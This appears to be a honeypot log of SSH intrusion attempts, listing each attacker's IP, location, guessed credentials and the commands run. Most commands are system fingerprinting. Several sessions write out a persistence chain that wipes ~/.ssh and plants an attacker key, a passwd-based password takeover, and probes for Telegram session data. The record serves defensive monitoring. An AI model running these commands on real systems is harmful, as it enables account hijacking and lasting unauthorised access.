🎭 rogue_root_2 (103.82.27.19) β€” Hanoi, Vietnam Β· 4 sessions Β· 4 cmds
2026-03-19 13:03 EDT Β· as root/1234, root/admin123, root/password
Ran uname 4x across 4 sessions β€” automated OS fingerprinting.
$ hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null Γ—4
↳ persistence setup
🎭 tulip_root (2.57.122.162) β€” Amsterdam, The Netherlands Β· 13 sessions Β· 13 cmds
2026-03-17 21:10 EDT Β· as admin/admin123, admin/password, root/12345678
Ran uname 13x across 13 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—13
🎭 cipher_root_72 (207.46.224.86) β€” Singapore, Singapore Β· 4 sessions Β· 4 cmds
2026-03-19 10:22 EDT Β· as root/1234, root/123456, root/12345678
uptime check β†’ env β†’ hostname discovery β†’ OS/kernel identification
$ uptime
↳ uptime check
$ env | head -10
$ hostname
↳ hostname discovery
$ uname -a
↳ OS/kernel identification
🎭 kimchi_root_8 (218.145.181.48) β€” Gangnam-gu, South Korea Β· 4 sessions Β· 32 cmds
2026-02-28 14:16 EST Β· as root/admin, root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print Γ—4
$ ifconfig Γ—4
↳ network mapping
$ uname -a Γ—4
↳ OS/kernel identification
$ cat /proc/cpuinfo Γ—4
↳ CPU profiling
$ ps | grep '[Mm]iner' Γ—4
$ ps -ef | grep '[Mm]iner' Γ—4
$ ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* Γ—4
$ echo Hi | cat -n Γ—4
🎭 specter_root_53 (187.191.2.214) β€” Veracruz, Mexico Β· 1 session Β· 1 cmd
2026-03-19 08:07 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m
🎭 autobahn_root_15 (142.132.188.104) β€” Falkenstein, Germany Β· 1 session Β· 1 cmd
2026-03-19 05:09 EDT Β· as root/1234
uptime check
$ uptime
↳ uptime check
🎭 rogue_root_48 (46.37.71.112) β€” MΓ‘laga, Spain Β· 1 session Β· 9 cmds
2026-03-19 04:19 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 poutine_sol (146.190.251.46) β€” Toronto, Canada Β· 9 sessions Β· 9 cmds
2026-03-19 03:29 EDT Β· as admin/admin123, oracle/Bmw_20!_^, oracle/oracle123
Ran uname 9x across 9 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—9
🎭 moose_root (143.110.217.213) β€” Toronto, Canada Β· 2 sessions Β· 2 cmds
2026-03-19 01:37 EDT Β· as root/1234, root/12345678
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—2
🎭 toque_root (165.227.44.159) β€” Toronto, Canada Β· 3 sessions Β· 3 cmds
2026-03-19 01:25 EDT Β· as postgres/postgres, user/password, user/user
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—3
🎭 roo_root_2 (170.64.168.206) β€” Sydney, Australia Β· 11 sessions Β· 11 cmds
2026-03-19 00:27 EDT Β· as deploy/deploy, oracle/1111, oracle/Bmw_20!_^
Ran uname 11x across 11 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—11
🎭 lantern_root_27 (123.139.214.42) β€” Xi'an, China Β· 1 session Β· 1 cmd
2026-03-19 00:34 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 baguette_root (104.28.163.118) β€” Aulnay-sous-Bois, France Β· 1 session Β· 1 cmd
2026-03-18 20:21 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 rogue_root_49 (178.128.111.152) β€” Singapore, Singapore Β· 7 sessions Β· 28 cmds
2026-03-18 19:23 EDT Β· as admin/123456, admin/admin, root/1234
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 maple_sol (143.110.211.250) β€” Toronto, Canada Β· 24 sessions Β· 24 cmds
2026-03-18 15:42 EDT Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 24x across 24 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—24
🎭 rogue_root_50 (170.79.37.82) β€” Santa Anita - Los Ficus, Peru Β· 1 session Β· 20 cmds
2026-03-18 15:56 EDT Β· as ubuntu/password
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\nIo0h69EuM8yT\nIo0h69EuM8yT"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nIo0h69EuM8yT\nIo0h69EuM8yT\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wraith_root_48 (103.59.95.55) β€” Pekanbaru, Indonesia Β· 1 session Β· 20 cmds
2026-03-18 15:48 EDT Β· as ubuntu/password
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\nRKqqLLXjWOX5\nRKqqLLXjWOX5"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nRKqqLLXjWOX5\nRKqqLLXjWOX5\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 gouda_root_10 (45.141.56.53) β€” Amsterdam, The Netherlands Β· 10 sessions Β· 40 cmds
2026-03-18 11:36 EDT Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 fog_root_11 (178.62.115.58) β€” Slough, United Kingdom Β· 14 sessions Β· 56 cmds
2026-03-18 11:27 EDT Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 14x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—14
$ uname -s -v -n -m 2 > /dev/null Γ—14
$ uname -m 2 > /dev/null Γ—14
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—14
🎭 bike_root_9 (188.166.72.199) β€” Amsterdam, Netherlands Β· 1 session Β· 4 cmds
2026-03-18 08:55 EDT Β· as admin/123456
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 cipher_root_73 (157.10.160.221) β€” Cicurug, Indonesia Β· 1 session Β· 20 cmds
2026-03-18 08:18 EDT Β· as admin/admin
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "admin\nTwiRuOsb2k8G\nTwiRuOsb2k8G"|passwd|bash
$ Enter new UNIX password:
$ echo "admin\nTwiRuOsb2k8G\nTwiRuOsb2k8G\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 phantom_root_45 (23.97.62.115) β€” Singapore, Singapore Β· 4 sessions Β· 4 cmds
2026-03-18 02:43 EDT Β· as root/1234, root/123456, root/12345678
hostname discovery β†’ privilege check β†’ OS/kernel identification β†’ ps
$ hostname
↳ hostname discovery
$ whoami
↳ privilege check
$ uname -a
↳ OS/kernel identification
$ ps aux | head -10
🎭 barbie_root (209.38.29.104) β€” Sydney, Australia Β· 10 sessions Β· 40 cmds
2026-03-17 23:58 EDT Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 silk_root_19 (60.212.41.202) β€” Jinan, China Β· 1 session Β· 1 cmd
2026-03-18 01:42 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 tulip_root_14 (147.45.69.167) β€” Amsterdam, Netherlands Β· 10 sessions Β· 10 cmds
2026-03-17 23:37 EDT Β· as admin/admin123, admin/password, deploy/deploy123
Ran uname 10x across 10 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—10
🎭 tulip_root_4 (161.35.146.29) β€” Amsterdam, Netherlands Β· 23 sessions Β· 92 cmds
2026-03-17 19:20 EDT Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 23x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—23
$ uname -s -v -n -m 2 > /dev/null Γ—23
$ uname -m 2 > /dev/null Γ—23
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—23
🎭 lantern_root_28 (60.217.22.185) β€” Jinan, China Β· 1 session Β· 1 cmd
2026-03-17 15:12 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 fjord_root_5 (83.227.125.172) β€” Handen, Sweden Β· 1 session Β· 9 cmds
2026-03-17 14:24 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 burger_root_11 (162.241.127.152) β€” Atlanta, United States Β· 1 session Β· 20 cmds
2026-03-17 12:15 EDT Β· as mysql/mysql@123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql@123\npDyQdeg0sm37\npDyQdeg0sm37"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql@123\npDyQdeg0sm37\npDyQdeg0sm37\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 spice_root_4 (139.59.76.43) β€” Bengaluru, India Β· 2 sessions Β· 8 cmds
2026-03-17 10:11 EDT Β· as root/qwerty, root/root
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 monsoon_root_7 (134.209.147.164) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-17 10:04 EDT Β· as root/root
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
